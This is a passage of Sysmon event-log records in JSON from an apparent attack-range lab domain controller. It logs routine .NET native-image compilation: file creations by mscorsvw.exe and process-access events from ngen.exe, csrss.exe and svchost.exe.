C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1214-0\\System.Device.dll\r\nCreationUtcTime: 2020-08-07 12:02:55.292","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:55.292","ProcessGuid":"{90617006-42EF-5F2D-0000-0010746E0E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1214-0\\System.Device.dll","CreationUtcTime":"2020-08-07 12:02:55.292","EventReceivedTime":"2020-08-07 12:02:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7676,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:55.400\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42EF-5F2D-0000-001016720E00}\r\nTargetProcessId: 4440\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:55.400","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42EF-5F2D-0000-001016720E00}","TargetProcessId":"4440","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7677,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:55.400\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42EF-5F2D-0000-001016720E00}\r\nTargetProcessId: 4440\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:55.400","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42EF-5F2D-0000-001016720E00}","TargetProcessId":"4440","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7678,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:55.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42EF-5F2D-0000-001016720E00}\r\nTargetProcessId: 4440\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:55.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42EF-5F2D-0000-001016720E00}","TargetProcessId":"4440","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7679,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:55.713\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-00109BB90C00}\r\nTargetProcessId: 3368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:55.713","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-00109BB90C00}","TargetProcessId":"3368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7680,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:55.713\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-00109BB90C00}\r\nTargetProcessId: 3368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:55.713","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-00109BB90C00}","TargetProcessId":"3368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7681,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:55.745\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42EF-5F2D-0000-001017760E00}\r\nTargetProcessId: 3368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:55.745","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42EF-5F2D-0000-001017760E00}","TargetProcessId":"3368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7682,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:56.510\r\nProcessGuid: {90617006-42EF-5F2D-0000-001017760E00}\r\nProcessId: 3368\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d28-0\\System.DirectoryServices.AccountManagement.dll\r\nCreationUtcTime: 2020-08-07 12:02:56.510","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:56.510","ProcessGuid":"{90617006-42EF-5F2D-0000-001017760E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d28-0\\System.DirectoryServices.AccountManagement.dll","CreationUtcTime":"2020-08-07 12:02:56.510","EventReceivedTime":"2020-08-07 12:02:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7683,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:56.589\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F0-5F2D-0000-0010377C0E00}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:56.589","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F0-5F2D-0000-0010377C0E00}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7684,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 